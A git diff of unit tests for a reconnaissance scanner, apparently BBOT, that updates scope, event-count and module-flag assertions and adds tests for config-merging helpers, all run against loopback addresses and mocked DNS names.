-        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
+        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
         assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"])
-        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
+        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
         assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/"])
         assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/"])
         assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"])
 
     # sslcert with in-scope chain
     events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan(
-        "127.0.0.0/31",
-        modules=["sslcert"],
-        _config={"scope": {"report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}},
-        _dns_mock={"www.bbottest.notreal": {"A": ["127.0.1.0"]}, "test.notreal": {"A": ["127.0.0.1"]}},
+        "127.0.0.0/31", modules=["sslcert"], _config={"scope": {"report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, _dns_mock={"www.bbottest.notreal": {"A": ["127.0.1.0"]}, "test.notreal": {"A": ["127.0.0.1"]}}
     )
 
-    assert len(events) == 7
+    # sslcert now watches HTTP_RESPONSE, which auto-enables the http module.
+    # This adds HTTP_RESPONSE, URL (from http), and URL_UNVERIFIED (from speculate) events.
+    assert len(events) == 10
     assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"])
     assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"])
     assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999"])
+    assert 1 == len([e for e in events if e.type == "HTTP_RESPONSE" and str(e.module) == "http"])
+    assert 1 == len([e for e in events if e.type == "URL" and str(e.module) == "http"])
+    assert 1 == len([e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"])
     assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"])
     assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert" and "affiliate" in e.tags])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"])
     assert 0 == len([e for e in events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "notreal"])
 
-    assert len(all_events) == 13
+    assert len(all_events) == 16
     assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0])
     assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 0])
     assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and str(e.module) == "http"])
+    assert 1 == len([e for e in all_events if e.type == "URL" and str(e.module) == "http"])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"])
     assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"])
     assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert"])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999" and e.internal is True and e.scope_distance == 1 and str(e.module) == "speculate"])
     assert 1 == len([e for e in all_events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "bbottest.notreal" and e.internal is True and e.scope_distance == 2 and str(e.module) == "speculate"])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"])
 
-    assert len(all_events_nodups) == 11
+    assert len(all_events_nodups) == 14
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and str(e.module) == "http"])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and str(e.module) == "http"])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"])
     assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"])
     assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert"])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999" and e.internal is True and e.scope_distance == 1 and str(e.module) == "speculate"])
@@ -734,12 +718,15 @@ def custom_setup(scan):
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"])
 
     for _graph_output_events in (graph_output_events, graph_output_batch_events):
-        assert len(_graph_output_events) == 7
+        assert len(_graph_output_events) == 10
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0])
         assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"])
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"])
         assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is False and e.scope_distance == 0])
+        assert 1 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and str(e.module) == "http"])
+        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and str(e.module) == "http"])
+        assert 1 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"])
         assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"])
         assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert"])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999"])
@@ -748,53 +735,49 @@ def custom_setup(scan):
 
     # sslcert with out-of-scope chain
     events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan(
-        "127.0.0.0/31",
+        "127.0.1.0",
+        seeds=["127.0.0.0/31"],
         modules=["sslcert"],
-        whitelist=["127.0.1.0"],
         _config={"scope": {"search_distance": 1, "report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}},
         _dns_mock={"www.bbottest.notreal": {"A": ["127.0.0.1"]}, "test.notreal": {"A": ["127.0.1.0"]}},
     )
 
-    assert len(events) == 4
+    # sslcert now depends on http (via HTTP_RESPONSE), and http doesn't probe out-of-scope
+    # servers, so the entire sslcert chain doesn't fire in this scenario.
+    assert len(events) == 3
     assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1])
     assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"])
     assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999"])
-    assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"])
+    assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal"])
     assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal"])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"])
 
-    assert len(all_events) == 11
+    assert len(all_events) == 6
     assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 2])
-    assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2])
+    assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 2])
-    assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is True and e.scope_distance == 1])
-    assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"])
-    assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is True and e.scope_distance == 3 and str(e.module) == "sslcert"])
-    assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"])
+    assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is True and e.scope_distance == 2])
 
-    assert len(all_events_nodups) == 9
+    assert len(all_events_nodups) == 6
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 2])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 2])
-    assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is True and e.scope_distance == 1])
-    assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"])
-    assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is True and e.scope_distance == 3 and str(e.module) == "sslcert"])
-    assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"])
+    assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is True and e.scope_distance == 2])
 
     for _graph_output_events in (graph_output_events, graph_output_batch_events):
-        assert len(_graph_output_events) == 6
-        assert 1 == len([e for e in graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1])
-        assert 0 == len([e for e in graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"])
-        assert 1 == len([e for e in graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2])
-        assert 0 == len([e for e in graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"])
-        assert 1 == len([e for e in graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is True and e.scope_distance == 1])
-        assert 1 == len([e for e in graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"])
-        assert 0 == len([e for e in graph_output_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal"])
-        assert 0 == len([e for e in graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"])
+        assert len(_graph_output_events) == 3
+        assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1])
+        assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"])
 
 
 @pytest.mark.asyncio
@@ -803,30 +786,23 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog):
     bbot_httpserver.expect_request(uri="/").respond_with_data(response_data="<a href='http://www-prod.test.notreal:8888'/><a href='http://www-dev.test.notreal:8888'/>")
 
     # dns search distance = 1, report distance = 0
-    scan = bbot_scanner(
-        "http://127.0.0.1:8888",
-        modules=["httpx"],
-        config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}},
-        whitelist=["127.0.0.0/29", "test.notreal"],
-        blacklist=["127.0.0.64/29"],
-    )
-    await scan.helpers.dns._mock_dns({
-        "www-prod.test.notreal": {"A": ["127.0.0.66"]},
-        "www-dev.test.notreal": {"A": ["127.0.0.22"]},
-    })
+    scan = bbot_scanner("127.0.0.0/29", "test.notreal", seeds=["http://127.0.0.1:8888"], modules=["http"], config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, blacklist=["127.0.0.64/29"])
+    await scan._prep()
+    await scan.helpers.dns._mock_dns({"www-prod.test.notreal": {"A": ["127.0.0.66"]}, "www-dev.test.notreal": {"A": ["127.0.0.22"]}})
 
     events = [e async for e in scan.async_start()]
 
-    assert any(e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://www-dev.test.notreal:8888/")
+    assert any(e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://www-dev.test.notreal:8888/")
     # the hostname is in-scope, but its IP is blacklisted, therefore we shouldn't see it
-    assert not any(e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://www-prod.test.notreal:8888/")
+    assert not any(e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://www-prod.test.notreal:8888/")
 
-    assert 'Not forwarding DNS_NAME("www-prod.test.notreal", module=excavate' in caplog.text and 'because it has a blacklisted DNS record' in caplog.text
+    assert 'Not forwarding DNS_NAME("www-prod.test.notreal", module=excavate' in caplog.text and "because it has a blacklisted DNS record" in caplog.text
 
 
 @pytest.mark.asyncio
 async def test_manager_scope_tagging(bbot_scanner):
     scan = bbot_scanner("test.notreal")
+    await scan._prep()
     e1 = scan.make_event("www.test.notreal", parent=scan.root_event, tags=["affiliate"])
     assert e1.scope_distance == 1
     assert "distance-1" in e1.tags
@@ -861,12 +837,17 @@ async def test_scope_accuracy_with_special_urls(bbot_scanner, bbot_httpserver):
     bbot_httpserver.expect_request(uri="/v2/users/spacex").respond_with_data(response_data="")
     bbot_httpserver.expect_request(uri="/u/spacex").respond_with_data(response_data="<a href='http://127.0.0.1:8888/asdf.js'/>")
 
-    scan = bbot_scanner("ORG:spacex", modules=["httpx", "social", "dockerhub"], config={"speculate": True, "excavate": True})
+    scan = bbot_scanner("ORG:spacex", modules=["http", "social", "dockerhub"], config={"speculate": True, "excavate": True})
 
     await scan._prep()
     scan.modules["dockerhub"].site_url = "http://127.0.0.1:8888"
     scan.modules["dockerhub"].api_url = "http://127.0.0.1:8888/v2"
 
+    async def mock_wildcard(*args, **kwargs):
+        return False
+
+    scan.helpers.web.is_http_wildcard_host = mock_wildcard
+
     from bbot.modules.base import BaseModule
 
     class DummyModule(BaseModule):
@@ -876,7 +857,7 @@ class DummyModule(BaseModule):
         accept_dupes = True
         accept_url_special = True
         events = []
-        
+
         async def handle_event(self, event):
             self.events.append(event)
 
@@ -884,10 +865,10 @@ async def handle_event(self, event):
     scan.modules["dummy_module"] = dummy_module
 
     events = [e async for e in scan.async_start()]
-    
+
     # there are actually 2 URL events. They are both from the same URL, but one was extracted by the full URL regex, and the other by the src/href= regex.
     # however, they should be deduped by scan_ingress.
-    bad_url_events = [e for e in dummy_module.events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/asdf.js"]
+    bad_url_events = [e for e in dummy_module.events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/asdf.js"]
     assert len(bad_url_events) == 1
     # they should both be internal
     assert all(e.internal is True for e in bad_url_events)
diff --git a/bbot/test/test_step_1/test_merge.py b/bbot/test/test_step_1/test_merge.py
new file mode 100644
index 0000000000..edb5757476
--- /dev/null
+++ b/bbot/test/test_step_1/test_merge.py
@@ -0,0 +1,164 @@
+from bbot.core.config.merge import deep_merge, dotted_get, dotted_set, iter_dotted_paths
+
+
+# ----- deep_merge -----
+
+
+def test_deep_merge_basic():
+    assert deep_merge({"a": 1}, {"b": 2}) == {"a": 1, "b": 2}
+
+
+def test_deep_merge_last_wins():
+    assert deep_merge({"a": 1}, {"a": 2}, {"a": 3}) == {"a": 3}
+
+
+def test_deep_merge_recurses_into_dicts():
+    a = {"web": {"timeout": 5, "user_agent": "x"}}
+    b = {"web": {"timeout": 10}}
+    assert deep_merge(a, b) == {"web": {"timeout": 10, "user_agent": "x"}}
+
+
+def test_deep_merge_lists_are_replaced_not_concatenated():
+    # Matches OmegaConf's REPLACE list-merge mode (BBOT's previous default).
+    a = {"event_types": ["DNS_NAME", "URL"]}
+    b = {"event_types": ["EMAIL_ADDRESS"]}
+    assert deep_merge(a, b) == {"event_types": ["EMAIL_ADDRESS"]}
+
+
+def test_deep_merge_dict_replaces_scalar():
+    # Pydantic catches the resulting type mismatch downstream; merge itself
+    # does the structural replacement without complaint.
+    assert deep_merge({"a": 1}, {"a": {"b": 2}}) == {"a": {"b": 2}}
+
+
+def test_deep_merge_scalar_replaces_dict():
+    assert deep_merge({"a": {"b": 1}}, {"a": 5}) == {"a": 5}
+
+
+def test_deep_merge_none_inputs():
+    # All three forms used by callers in core.py / files.py
+    assert deep_merge(None, {"a": 1}) == {"a": 1}
+    assert deep_merge({"a": 1}, None) == {"a": 1}
+    assert deep_merge(None, None) == {}
+
+
+def test_deep_merge_no_aliasing_with_base():
+    """Mutating the result must not affect the base dict."""
+    a = {"web": {"headers": {"X-Foo": "1"}}}
+    result = deep_merge(a, {})
+    result["web"]["headers"]["X-Foo"] = "MUTATED"
+    result["web"]["new_key"] = "new"
+    assert a == {"web": {"headers": {"X-Foo": "1"}}}
+
+
+def test_deep_merge_no_aliasing_with_update():
+    """Mutating the result must not affect the update dict either."""
+    b = {"web": {"headers": {"X-Foo": "1"}}}
+    result = deep_merge({}, b)
+    result["web"]["headers"]["X-Foo"] = "MUTATED"
+    assert b == {"web": {"headers": {"X-Foo": "1"}}}
+
+
+def test_deep_merge_no_aliasing_for_lists():
+    """Lists in update should be deep-copied, not aliased."""
+    b = {"event_types": ["DNS_NAME"]}
+    result = deep_merge({}, b)
+    result["event_types"].append("URL")
+    assert b == {"event_types": ["DNS_NAME"]}
+
+
+def test_deep_merge_empty_update_skipped():
+    a = {"a": 1}
+    assert deep_merge(a, {}) == {"a": 1}
+    assert deep_merge(a, {}, {}, {"b": 2}) == {"a": 1, "b": 2}
+
+
+# ----- dotted_get -----
+
+
+def test_dotted_get_hit():
+    assert dotted_get({"a": {"b": {"c": 1}}}, "a.b.c") == 1
+
+
+def test_dotted_get_default_when_missing():
+    assert dotted_get({"a": 1}, "a.b.c", default="x") == "x"
+
+
+def test_dotted_get_default_when_blocked_by_scalar():
+    # `a` exists but is a scalar, so `a.b` can't be resolved.
+    assert dotted_get({"a": 1}, "a.b") is None
+    assert dotted_get({"a": 1}, "a.b", default="fallback") == "fallback"
+
+
+def test_dotted_get_top_level():
+    assert dotted_get({"a": 1}, "a") == 1
+
+
+# ----- dotted_set -----
+
+
+def test_dotted_set_creates_intermediates():
+    d = {}
+    dotted_set(d, "a.b.c", 1)
+    assert d == {"a": {"b": {"c": 1}}}
+
+
+def test_dotted_set_preserves_siblings():
+    d = {"a": {"b": 1}}
+    dotted_set(d, "a.c", 2)
+    assert d == {"a": {"b": 1, "c": 2}}
+
+
+def test_dotted_set_overwrites_existing_leaf():
+    d = {"a": {"b": 1}}
+    dotted_set(d, "a.b", 99)
+    assert d == {"a": {"b": 99}}
+
+
+def test_dotted_set_silently_replaces_non_dict_intermediate():
+    """
+    Documented behavior: a scalar in the path is silently replaced by a dict.
+    Pydantic validation downstream surfaces the resulting type mismatch.
+    """
+    d = {"a": 1}
+    dotted_set(d, "a.b", 2)
+    assert d == {"a": {"b": 2}}
+
+
+def test_dotted_set_top_level():
+    d = {}
+    dotted_set(d, "a", 1)
+    assert d == {"a": 1}
+
+
+# ----- iter_dotted_paths -----
+
+
+def test_iter_dotted_paths_basic():
+    assert iter_dotted_paths({"a": 1, "b": {"c": 2}}) == ["a", "b.c"]
+
+
+def test_iter_dotted_paths_deep():
+    paths = iter_dotted_paths({"a": {"b": {"c": 1, "d": 2}}, "e": 3})
+    assert sorted(paths) == ["a.b.c", "a.b.d", "e"]
+
+
+def test_iter_dotted_paths_empty_dict_treated_as_leaf():
+    # An empty dict is a leaf path so dotted_get/dotted_set round-trip through it.
+    assert iter_dotted_paths({"a": {}, "b": 1}) == ["a", "b"]
+
+
+def test_iter_dotted_paths_empty_input():
+    assert iter_dotted_paths({}) == []
+
+
+# ----- round-trip -----
+
+
+def test_dotted_set_get_roundtrip():
+    d = {}
+    dotted_set(d, "modules.shodan.api_key", "abc123")
+    dotted_set(d, "web.spider_distance", 2)
+    assert dotted_get(d, "modules.shodan.api_key") == "abc123"
+    assert dotted_get(d, "web.spider_distance") == 2
+    assert sorted(iter_dotted_paths(d)) == ["modules.shodan.api_key", "web.spider_distance"]
diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py
index 830c8a3f7b..60e4080714 100644
--- a/bbot/test/test_step_1/test_modules_basic.py
+++ b/bbot/test/test_step_1/test_modules_basic.py
@@ -9,14 +9,13 @@
 
 
 @pytest.mark.asyncio
-async def test_modules_basic_checks(events, httpx_mock):
+async def test_modules_basic_checks(events, blasthttp_mock):
     from bbot.scanner import Scanner
 
     scan = Scanner(config={"omit_event_types": ["URL_UNVERIFIED"]})
+    await scan._prep()
     assert "URL_UNVERIFIED" in scan.omitted_event_types
 
-    await scan.load_modules()
-
     # output module specific event filtering tests
     base_output_module_1 = BaseOutputModule(scan)
     base_output_module_1.watched_events = ["IP_ADDRESS", "URL_UNVERIFIED"]
@@ -89,6 +88,36 @@ async def test_modules_basic_checks(events, httpx_mock):
     await egress_module.handle_event(url)
     assert url._omit is True
 
+    # omitted always_emit events should still be omitted
+    finding_data = {
+        "host": "evilcorp.com",
+        "description": "test",
+        "severity": "LOW",
+        "confidence": "LOW",
+        "name": "test",
+    }
+    finding = scan.make_event(finding_data, "FINDING", parent=scan.root_event)
+    assert finding.always_emit is True
+    finding._omit = True
+    result, reason = base_output_module_2._event_precheck(finding)
+    assert result is False
+    assert reason == "its type is omitted in the config"
+
+    # always_emit should bypass the internal check
+    finding_data2 = {
+        "host": "evilcorp.com",
+        "description": "test2",
+        "severity": "LOW",
+        "confidence": "LOW",
+        "name": "test2",
+    }
+    finding2 = scan.make_event(finding_data2, "FINDING", parent=scan.root_event)
+    assert finding2.always_emit is True
+    finding2._internal = True
+    result, reason = base_output_module_2._event_precheck(finding2)
+    assert result is True
+    assert reason == "event is always emitted"
+
     # common event filtering tests
     for module_class in (BaseModule, BaseOutputModule, BaseReportModule, BaseInternalModule):
         base_module = module_class(scan)
@@ -133,8 +162,7 @@ async def test_modules_basic_checks(events, httpx_mock):
     assert "subdomain-enum" in all_preloaded["dnsbrute"]["flags"]
     assert "wordlist" in all_preloaded["dnsbrute"]["config"]
     assert type(all_preloaded["dnsbrute"]["config"]["max_depth"]) == int
-    assert all_preloaded["sslcert"]["deps"]["pip"]
-    assert all_preloaded["sslcert"]["deps"]["apt"]
+    assert all_preloaded["baddns"]["deps"]["pip"]
     assert all_preloaded["dnsbrute"]["deps"]["common"]
     assert all_preloaded["gowitness"]["deps"]["ansible"]
 
@@ -150,11 +178,18 @@ async def test_modules_basic_checks(events, httpx_mock):
             assert ("active" in flags and "passive" not in flags) or ("active" not in flags and "passive" in flags), (
                 f'module "{module_name}" must have either "active" or "passive" flag'
             )
-            assert ("safe" in flags and "aggressive" not in flags) or (
-                "safe" not in flags and "aggressive" in flags
-            ), f'module "{module_name}" must have either "safe" or "aggressive" flag'
-            assert not ("web-basic" in flags and "web-thorough" in flags), (
-                f'module "{module_name}" should have either "web-basic" or "web-thorough" flags, not both'
+            assert not ("web" in flags and "web-heavy" in flags), (
+                f'module "{module_name}" should have either "web" or "web-heavy" flags, not both'
+            )
+            # every scan module must be classified as safe, loud, and/or invasive
+            has_safe = "safe" in flags
+            has_loud = "loud" in flags
+            has_invasive = "invasive" in flags
+            assert has_safe or has_loud or has_invasive, (
+                f'module "{module_name}" must have at least one of "safe", "loud", or "invasive" flags'
+            )
+            assert not (has_safe and (has_loud or has_invasive)), (
+                f'module "{module_name}" has "safe" flag but also has "loud" or "invasive" — these are mutually exclusive'
             )
         meta = preloaded.get("meta", {})
         # make sure every module has a description
@@ -238,11 +273,13 @@ class mod_domain_only(BaseModule):
         force_start=True,
     )
 
+    await scan._prep()
+
     scan.modules["mod_normal"] = mod_normal(scan)
     scan.modules["mod_host_only"] = mod_host_only(scan)
     scan.modules["mod_hostport_only"] = mod_hostport_only(scan)
     scan.modules["mod_domain_only"] = mod_domain_only(scan)
-    scan.status = "RUNNING"
+    await scan._set_status("RUNNING")
 
     url_1 = scan.make_event("http://evilcorp.com/1", event_type="URL", parent=scan.root_event, tags=["status-200"])
     url_2 = scan.make_event("http://evilcorp.com/2", event_type="URL", parent=scan.root_event, tags=["status-200"])
@@ -308,9 +345,9 @@ async def test_modules_basic_perdomainonly(bbot_scanner, monkeypatch):
         force_start=True,
     )
 
-    await per_domain_scan.load_modules()
+    await per_domain_scan._prep()
     await per_domain_scan.setup_modules()
-    per_domain_scan.status = "RUNNING"
+    await per_domain_scan._set_status("RUNNING")
 
     # ensure that multiple events to the same "host" (schema + host) are blocked and check the per host tracker
 
@@ -368,7 +405,7 @@ async def setup(self):
 
 
 @pytest.mark.asyncio
